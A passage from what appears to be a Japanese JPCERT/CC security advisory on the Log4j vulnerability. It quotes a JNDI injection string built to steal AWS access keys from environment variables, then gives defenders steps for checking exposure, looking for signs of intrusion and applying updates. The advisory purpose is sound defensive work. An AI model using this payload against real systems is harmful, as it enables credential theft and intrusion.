また、JPCERT/CCのハニーポットでは観測されていませんが、AWSのアクセスキー情報を環境変数から窃取しようとする以下の攻撃文字列が存在していることも確認しています。 ${jndi:ldap://${env:AWS_ACCESS_KEY}.(略)} 被害の確認および対処 log4j2は採用事例が非常に多く、また自身がlog4jをプログラムに取り込んだ覚えがなくとも、使用しているライブラリ内に内包されているケースも多くあるものと考えられます。影響確認においては、自組織で用いられているソフトウェア資産の整理もさることながら、既に不正なアクセスが行われているという想定のもと、システム内に不審なファイル等が配置されていないか、また不審な宛先に対して通信が発生していないか確認し、冷静にシステムのアップデートまた回避策の適用を実施していただきたいと思います。 参考情報 [1] Log4j Apac